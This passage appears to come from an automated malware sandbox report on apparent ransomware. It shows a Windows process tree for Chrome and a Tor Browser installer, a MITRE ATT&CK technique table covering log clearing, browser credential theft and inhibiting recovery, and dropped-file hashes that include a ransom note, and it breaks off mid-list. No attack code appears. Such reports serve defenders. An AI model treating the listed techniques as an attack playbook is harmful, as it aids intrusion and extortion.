                                                                                                      PID:4352
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5448,i,15304755704831834453,5460217953668941831,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=6052 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:3500
                                                                                                      • C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-14.0.9.exe
                                                                                                        "C:\Users\Admin\Downloads\tor-browser-windows-x86_64-portable-14.0.9.exe"
                                                                                                        2⤵
                                                                                                        • Checks computer location settings
                                                                                                        • Executes dropped EXE
                                                                                                        • Loads dropped DLL
                                                                                                        • Modifies registry class
                                                                                                        PID:3248
                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                          "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
                                                                                                          3⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Loads dropped DLL
                                                                                                          PID:3792
                                                                                                          • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                            "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe"
                                                                                                            4⤵
                                                                                                            • Checks computer location settings
                                                                                                            • Executes dropped EXE
                                                                                                            • Loads dropped DLL
                                                                                                            • Checks whether UAC is enabled
                                                                                                            • Checks processor information in registry
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:4860
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2524 -parentBuildID 20250331180000 -prefsHandle 2500 -prefMapHandle 2488 -prefsLen 21011 -prefMapSize 252329 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {ec74335d-3698-4828-b201-1f7b79fc1eae} 4860 gpu
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:3100
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Tor\tor.exe" -f "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc" DataDirectory "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor" ClientOnionAuthDir "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\onion-auth" --defaults-torrc "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults" GeoIPFile "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip" GeoIPv6File "C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6" +__ControlPort 127.0.0.1:9151 HashedControlPassword 16:3af5164c5deffed9606e677461027ccd5991c33592a397b39200ab74df +__SocksPort "127.0.0.1:9150 ExtendedErrors IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth" __OwningControllerProcess 4860 DisableNetwork 1
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2876
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=2152 -childID 1 -isForBrowser -prefsHandle 2284 -prefMapHandle 2280 -prefsLen 21821 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {273e8e57-ff5a-411a-bd89-1e3ec8af4e63} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:3604
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3244 -childID 2 -isForBrowser -prefsHandle 3236 -prefMapHandle 3232 -prefsLen 22591 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {09e6225f-af04-4b48-8c3b-050a955a259d} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:4516
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3432 -childID 3 -isForBrowser -prefsHandle 3440 -prefMapHandle 3444 -prefsLen 22667 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {e112c1e7-88ff-4ba5-bc41-8e1bf35dd740} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:5128
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=3892 -parentBuildID 20250331180000 -prefsHandle 3976 -prefMapHandle 3980 -prefsLen 23093 -prefMapSize 252329 -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {7a25e43c-725a-4f51-8eff-03620b898501} 4860 rdd
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:2304
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=1760 -childID 4 -isForBrowser -prefsHandle 3684 -prefMapHandle 3488 -prefsLen 22517 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {cadd6a90-ae0d-4283-bac3-92f3b26c67a7} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:2440
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=1892 -childID 5 -isForBrowser -prefsHandle 4104 -prefMapHandle 4100 -prefsLen 22517 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {2f79c45e-850e-4427-9248-62f268b04106} 4860 tab
                                                                                                              5⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:1964
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=1880 -childID 6 -isForBrowser -prefsHandle 1916 -prefMapHandle 1776 -prefsLen 22517 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {2cb7cbe8-1ae8-41be-a171-c5acdf35d4a0} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Loads dropped DLL
                                                                                                              PID:4576
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=4532 -parentBuildID 20250331180000 -sandboxingKind 0 -prefsHandle 3716 -prefMapHandle 4512 -prefsLen 25640 -prefMapSize 252329 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {59517a1f-b918-401a-a6e0-cf1f68e772b5} 4860 utility
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Checks processor information in registry
                                                                                                              PID:3488
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=4832 -childID 7 -isForBrowser -prefsHandle 4660 -prefMapHandle 4860 -prefsLen 24401 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {54c48e41-6a01-449f-902a-c658b82d46fa} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:5204
                                                                                                            • C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe
                                                                                                              "C:\Users\Admin\Desktop\Tor Browser\Browser\firefox.exe" -contentproc --channel=5504 -childID 8 -isForBrowser -prefsHandle 3180 -prefMapHandle 1812 -prefsLen 24685 -prefMapSize 252329 -jsInitHandle 1392 -jsInitLen 234912 -parentBuildID 20250331180000 -win32kLockedDown -appDir "C:\Users\Admin\Desktop\Tor Browser\Browser\browser" - {27673ca7-db2e-45a4-b28a-871a4b737dd0} 4860 tab
                                                                                                              5⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:4384
                                                                                                    • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                                      1⤵
                                                                                                        PID:1200
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                        1⤵
                                                                                                          PID:4632

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                        Reconnaissance

                                                                                                        Resource Development

                                                                                                        Initial Access

                                                                                                        Execution

                                                                                                        Command and Scripting Interpreter

                                                                                                        1
                                                                                                        T1059

                                                                                                        PowerShell

                                                                                                        1
                                                                                                        T1059.001

                                                                                                        System Services

                                                                                                        1
                                                                                                        T1569

                                                                                                        Service Execution

                                                                                                        1
                                                                                                        T1569.002

                                                                                                        Windows Management Instrumentation

                                                                                                        1
                                                                                                        T1047

                                                                                                        Persistence

                                                                                                        Create or Modify System Process

                                                                                                        4
                                                                                                        T1543

                                                                                                        Windows Service

                                                                                                        4
                                                                                                        T1543.003

                                                                                                        Privilege Escalation

                                                                                                        Create or Modify System Process

                                                                                                        4
                                                                                                        T1543

                                                                                                        Windows Service

                                                                                                        4
                                                                                                        T1543.003

                                                                                                        Defense Evasion

                                                                                                        Direct Volume Access

                                                                                                        1
                                                                                                        T1006

                                                                                                        Impair Defenses

                                                                                                        3
                                                                                                        T1562

                                                                                                        Disable or Modify Tools

                                                                                                        2
                                                                                                        T1562.001

                                                                                                        Indicator Removal

                                                                                                        3
                                                                                                        T1070

                                                                                                        Clear Windows Event Logs

                                                                                                        1
                                                                                                        T1070.001

                                                                                                        File Deletion

                                                                                                        2
                                                                                                        T1070.004

                                                                                                        Modify Registry

                                                                                                        4
                                                                                                        T1112

                                                                                                        Credential Access

                                                                                                        Credentials from Password Stores

                                                                                                        1
                                                                                                        T1555

                                                                                                        Credentials from Web Browsers

                                                                                                        1
                                                                                                        T1555.003

                                                                                                        Unsecured Credentials

                                                                                                        1
                                                                                                        T1552

                                                                                                        Credentials In Files

                                                                                                        1
                                                                                                        T1552.001

                                                                                                        Discovery

                                                                                                        Browser Information Discovery

                                                                                                        1
                                                                                                        T1217

                                                                                                        Peripheral Device Discovery

                                                                                                        1
                                                                                                        T1120

                                                                                                        Query Registry

                                                                                                        5
                                                                                                        T1012

                                                                                                        Remote System Discovery

                                                                                                        1
                                                                                                        T1018

                                                                                                        System Information Discovery

                                                                                                        6
                                                                                                        T1082

                                                                                                        System Network Configuration Discovery

                                                                                                        1
                                                                                                        T1016

                                                                                                        Internet Connection Discovery

                                                                                                        1
                                                                                                        T1016.001

                                                                                                        Lateral Movement

                                                                                                        Collection

                                                                                                        Data from Local System

                                                                                                        1
                                                                                                        T1005

                                                                                                        Command and Control

                                                                                                        Exfiltration

                                                                                                        Impact

                                                                                                        Inhibit System Recovery

                                                                                                        3
                                                                                                        T1490

                                                                                                        Service Stop

                                                                                                        1
                                                                                                        T1489

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • C:\Program Files\7-Zip\Lang\phLK_HOW_TO_DECRYPT.txt
                                                                                                          Filesize

                                                                                                          1KB

                                                                                                          MD5

                                                                                                          7c7498625660600d7277d186038c05fa

                                                                                                          SHA1

                                                                                                          144ea5eccf0824e9c30681f64c25224753886533

                                                                                                          SHA256

                                                                                                          1da21b2c48b5e60b2e6ced94b990c73a0644fc147cc13b38c022a9f1c058ad3c

                                                                                                          SHA512

                                                                                                          32ee4b3ba5a1c86ee47be70428204af3f30f865eba33693a235dd7c6ae51d33369b4a486ee41e837c8fbe117edf54ba0cd01b1535a369c14683ca833768d4e92

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                          Filesize

                                                                                                          649B

                                                                                                          MD5

                                                                                                          8399f344c2d3afdbbf016c1ca2730b8d

                                                                                                          SHA1

                                                                                                          0a55b7c0cbeb7107c46c2e320ba8fa30d4f92ab6

                                                                                                          SHA256

                                                                                                          8c2ac311720c91cf9417d8f7f9cd3a40245b5a1f282458edaf927fcdd0789eb6

                                                                                                          SHA512

                                                                                                          4a46e5291f41928e01ada130847043ff68139bfe9ec2fbd3dba258ad596be82664fdaf7945f044e089cd8e89f3ef0ac078e7682e508b0b9b2893934b23bdc1c9

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                          Filesize

                                                                                                          264B

                                                                                                          MD5

                                                                                                          776cc54c8d5a3561e99fd1c25ccd4415

                                                                                                          SHA1

                                                                                                          cfb2fa94345f0a22721d91b2f1efb74965297277

                                                                                                          SHA256

                                                                                                          7582a0c5c7687766366bd442a9b1b8c6f9501d6ecddb2af494cb706f39c75112

                                                                                                          SHA512

                                                                                                          1242e034da2e917737586289e3aea6b0be121bf6059aa9149cafb655941ca2b37875c2772cf151a4841d587e64e682cb2658e948143ebb5dbf3dbc4c2969424a

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnWebGPUCache\data_1
                                                                                                          Filesize

                                                                                                          264KB

                                                                                                          MD5

                                                                                                          f50f89a0a91564d0b8a211f8921aa7de

                                                                                                          SHA1

                                                                                                          112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                                                                          SHA256

                                                                                                          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                                                                          SHA512

                                                                                                          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                          Filesize

                                                                                                          3KB

                                                                                                          MD5

                                                                                                          43b0919f046eabcb2d4d2b2d9534e750

                                                                                                          SHA1

                                                                                                          bc75f79dcb0e3aaca61341d825bc798d3b66fdd6

                                                                                                          SHA256

                                                                                                          b887f0881911f5654d72ef23c3258ac90bf2a364c03cafcb969eab83e729b63b

                                                                                                          SHA512

                                                                                                          ea23c27c75628459a224509411bf3ae8b0277bbcf7e9b486afec75ef5bce67a6a8ea95fcd069686e6730189994a033ad65a05d4ddb816bf9b0c42807d0bacdef

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                          Filesize

                                                                                                          2B

                                                                                                          MD5

                                                                                                          d751713988987e9331980363e24189ce

                                                                                                          SHA1

                                                                                                          97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                          SHA256

                                                                                                          4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                          SHA512

                                                                                                          b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                          Filesize

                                                                                                          859B

                                                                                                          MD5

                                                                                                          0a744e815af294fed8b96e083878673e

                                                                                                          SHA1

                                                                                                          4eca9ba4ab1426b019bff047bb98355443d5b689

                                                                                                          SHA256

                                                                                                          3b770dda81e66cf7b30b8a424c98a602d98942daf3f0892ab7799ee655e700db

                                                                                                          SHA512

                                                                                                          b90563743abf5fb1c8e877111c1ef10f0be751d632bdeb0d89fb10aead3f361a1faa0bc697ad466fab1293497fd3e17ab0b7dc5aeabc8ced54ab05f91f720518

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                          Filesize

                                                                                                          10KB

                                                                                                          MD5

                                                                                                          af71aa0ee8f4abff0fee47cb58d15c28

                                                                                                          SHA1

                                                                                                          04eddf20b3b768a256e0a626177a37b8f636af5e

                                                                                                          SHA256

                                                                                                          07e539af62ec176eaac85f0fda8f07f43d1eaf9d8d5cfd3dc65fcef268f9af3b

                                                                                                          SHA512

                                                                                                          fe3f71ed4e02c3654d079d2eef761d3ce471d1fcc202a9031bc2cb1874b649ecff22217985edd63dbe42b7c552be1d4d1b308fac54e3c02cd25187d5e422aafd

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                          Filesize

                                                                                                          15KB

                                                                                                          MD5

                                                                                                          baeac45dfd871cbb4d0646d84dc2b5b9

                                                                                                          SHA1

                                                                                                          34a3225e541d1b01688b6921b98bfb08d69b89c3

                                                                                                          SHA256

                                                                                                          9588d49bbb3e4feb573378ee7cc4126c89bcdd43f4d334dd2cbffdfc2032daa8

                                                                                                          SHA512

                                                                                                          a121ff2455c22a7f2254645b99a0f8363b28b88983f3b6d73781fef642980d81ea5417410c2ebc03a718c067da4a3bcc69e489b143fc1b8f986e7aa57e6b5036

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                          Filesize

                                                                                                          18KB

                                                                                                          MD5

                                                                                                          32fc560963a8e187f82f001b441b1d02

                                                                                                          SHA1

                                                                                                          7b498f415b49d35705d94572f67b95d31cdd0a69

                                                                                                          SHA256

                                                                                                          85d5de374842ea3a95f7f3563d23183dd937eb85cd7a5a9909024c2eeeb81be9

                                                                                                          SHA512

                                                                                                          2f91de771c96ec6af4f8cc55188fb7215e96870f627cdf339cd82323485f7ff7582187e26c3dcaceba40315a781b7a5a3770c6ef2bc3131bf74c8eb53ebd1a19

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                          Filesize

                                                                                                          72B

                                                                                                          MD5

                                                                                                          26881291e95c39f882baa069ceaea2c8

                                                                                                          SHA1

                                                                                                          c79005e98aac44ad57194c9c3053df91de2ff9b3

                                                                                                          SHA256

                                                                                                          e9e019b88ed280b1fa0246d06927aa29d09af6443e2ec14c415b29ca5416dc53

                                                                                                          SHA512

                                                                                                          c4f559e84680611eab79a94bd159f0dee236bc5a1d172cfa831dc2c34a603cc11ecb1dc25565f019c3e393d7e9dd86a6323f4b0684eb1335c9373e180e9f740c

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58efba.TMP
                                                                                                          Filesize

                                                                                                          48B

                                                                                                          MD5

                                                                                                          b3793df03daaf34261aa1808b8bc68a8

                                                                                                          SHA1

                                                                                                          00426905b729b1755ed0b1c94f6bf6eab18b48c8

                                                                                                          SHA256

                                                                                                          1b48dbd1d90ef6e6aabf7e53c6fda74e9df8c1de0e11061f5cc5f6721ac81530

                                                                                                          SHA512

                                                                                                          191374c201b88c9e6bd6ff6f995044e132d8e55d3fe11f9c62f11a75f5b382d20a83419d1f1afb0e219e7bb4e1079e707b4bacda3aa361a67b960126dba69330

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                          Filesize

                                                                                                          80KB

                                                                                                          MD5

                                                                                                          c00c0cfcad525a49ec0b2a2abd5b67cb

                                                                                                          SHA1

                                                                                                          d233585a22fa822e279518f269ebf1d446bf9cc2

                                                                                                          SHA256

                                                                                                          fe6895e96e5844c51a8f87f44699b2bd136e7c70fb72f70dfff3e8205e5df212

                                                                                                          SHA512

                                                                                                          b561d316adf1f352b7594eaf0a8d75c85997304e5777e3a8b3aaa55abe48883100a3aca299eb1766e1197f827e435f39ae1c36284e13a6d027c60cfa0175514b

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                          Filesize

                                                                                                          153KB

                                                                                                          MD5

                                                                                                          8f91e3fc4d75ec6f0af7c3f3bd949528

                                                                                                          SHA1

                                                                                                          e87656d5ba1aed9dc1ef28ce5abfbfa6c6ea6407

                                                                                                          SHA256

                                                                                                          0c7a7a9221a3f6d0c573dab1f940211d1cdf5c217bbaa495b845c1a39f29b7b9

                                                                                                          SHA512

                                                                                                          34b03379635ec652744db88641db7724f59e93df3d4201382ae6c79938b7bc366f2f3914bf54d570880c02b5cd1ce08d74cdf75003bf666328f70c890436107d

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                          Filesize

                                                                                                          153KB

                                                                                                          MD5

                                                                                                          2d350644abba36bc286b56272217b80c

                                                                                                          SHA1

                                                                                                          360346bd69a05b2e58ffb1aa911f07c797848bc2

                                                                                                          SHA256

                                                                                                          2d95e8d8a09c8e0c319886efd014f3ec0096b977e354fdb27f2e6c08ecd05742

                                                                                                          SHA512

                                                                                                          fa6ae118a08d58620344a0609ab696718c3bf292c738b96185cce06f91b726abb3604f07c7c4b7ee4674ffa2aa3d81405180444422986f09b50779f0449772c6

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                          Filesize

                                                                                                          2KB

                                                                                                          MD5

                                                                                                          d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                          SHA1

                                                                                                          31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                          SHA256

                                                                                                          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                          SHA512

                                                                                                          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                          Filesize

                                                                                                          944B

                                                                                                          MD5

                                                                                                          657d20ba6358ff78dd8a138d67db728c

                                                                                                          SHA1

                                                                                                          83d2472cce7807044bfbc022189e42e7767e7372

                                                                                                          SHA256

                                                                                                          9570e6f43affb98ad6f4228ad965ffc0a6829d2b40b4b073bb8677e7ba29dcee

                                                                                                          SHA512

                                                                                                          f0d27d99debe3b194016115a0032d7cbd3efaf365271fe5f99c512d41b4eb32ee9ef0654cc6c4e6a5182b1e5b0201e4cb163d358c515e2a247493cc53b7313cc

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kr5tcymj.d4s.ps1
                                                                                                          Filesize

                                                                                                          60B

                                                                                                          MD5

                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                          SHA1

                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                          SHA256

                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                          SHA512

                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\nsiE5E8.tmp\LangDLL.dll
                                                                                                          Filesize

                                                                                                          7KB

                                                                                                          MD5

                                                                                                          9888fb6b91a680305b2a3e7b71d6561d

                                                                                                          SHA1

                                                                                                          4a7935da38f88e9f74f425078ee39eb6269c4e63

                                                                                                          SHA256

                                                                                                          81726604d47b192620bcf90d6e42ba8ee8b4c54935b0081655e08247d6b6c675

                                                                                                          SHA512

                                                                                                          f50755e5624bfc3a60a23a7dda012509c1e31d9772d6a0ccaca88e32ae8d4602e10e38003d78b1626464502db7ea7c47d772efb7b3ea7c3e2238bf3b9809f833

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\nsiE5E8.tmp\System.dll
                                                                                                          Filesize

                                                                                                          24KB

                                                                                                          MD5

                                                                                                          d997606c77e880be2744c44128843d60

                                                                                                          SHA1

                                                                                                          92bb9003dc14ae03963f503e82a668877ca4295f

                                                                                                          SHA256

                                                                                                          abb2613ff851b2cbfb61bf97e4eef9d4912abcb46e04774ad84812ab75d4dde9

                                                                                                          SHA512

                                                                                                          714d7ce786e9fbb6f0d0e537a146a3a24aa79089669dd168b7c110dfba667fa7afb794b3dd2b93fa76e1d1771af3347a0f568cbb0fbcc8d9755de9e6e54382b3

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\nsiE5E8.tmp\nsDialogs.dll
                                                                                                          Filesize

                                                                                                          13KB

                                                                                                          MD5

                                                                                                          bd0d7a73d0fc619e280372587e9e3115

                                                                                                          SHA1

                                                                                                          0cde473dda5d4fda8190e6460f3229cae2571af5

                                                                                                          SHA256

                                                                                                          c7f2afe3a2424e71563e69d862dc027d299d84fba4ac1ba11e593361daec0a80

                                                                                                          SHA512

                                                                                                          914983bfa336f9ea019bf5dc9ee403af56a6c7c1d88b8092609e4026a3377daa6ef9a8e51a93537f6769ae165c264763645a363fb6a89f8689f59caf985c18b2

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\scoped_dir6112_45098434\5ccd9c4c-8e71-41da-a364-86f9b0e694e8.tmp
                                                                                                          Filesize

                                                                                                          152KB

                                                                                                          MD5

                                                                                                          dd9bf8448d3ddcfd067967f01e8bf6d7

                                                                                                          SHA1

                                                                                                          d7829475b2bd6a3baa8fabfaf39af57c6439b35e

                                                                                                          SHA256

                                                                                                          fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

                                                                                                          SHA512

                                                                                                          65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default\datareporting\glean\db\data.safe.tmp
                                                                                                          Filesize

                                                                                                          182B

                                                                                                          MD5

                                                                                                          1c3c58f7838dde7f753614d170f110fc

                                                                                                          SHA1

                                                                                                          c17e5a486cecaddd6ced7217d298306850a87f48

                                                                                                          SHA256

                                                                                                          81c14432135b2a50dc505904e87781864ca561efef9e94baeca3704d04e6db3d

                                                                                                          SHA512

                                                                                                          9f6e9bcb0bba9e2ce3d7dabe03b061e3fda3f6d7b0249ecf4dbc145dc78844386d047ee2ac95656a025ef808cd0fc451204dc98a1981cf2729091761661a3b49

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default\extension-store-menus\data.safe.tmp
                                                                                                          Filesize

                                                                                                          245B

                                                                                                          MD5

                                                                                                          e41a948534f6e10c71ad031683c27930

                                                                                                          SHA1

                                                                                                          3869650897d89fc67cb56bc0707bd3edea1b673b

                                                                                                          SHA256

                                                                                                          69add43c45c18dc4e408430c5730ae23138d014d197ba53001a7c5bdeaf3f539

                                                                                                          SHA512

                                                                                                          b10e7ea994cc96246a857d8f277650c73b50aadbf6bbcc84cdc39e2742aca845f9abdf77bc722ac4351dd669fbf902a76d97c5824be898728466798a4a006c35

                                                                                                          Download Submit

                                                                                                        • C:\Users\Admin\Desktop\Tor Browser\Browser\TorBrowser\Data\Browser\profile.default\extensions.json
                                                                                                          Filesize

                                                                                                          16KB

                                                                                                          MD5

                                                                                                          c8c71d66b4474a50857e351ffb251d4e

                                                                                                          SHA1

                                                                                                          4afcd7a540397230c3752c91631782f9a7c7bf53

                                                                                                          SHA256

                                                                                                          6ba086f38088e7d271e294b08dc0ca7535b356bb1b5b6deb55ffa546dbc7d8e6

                                                                                                          SHA512

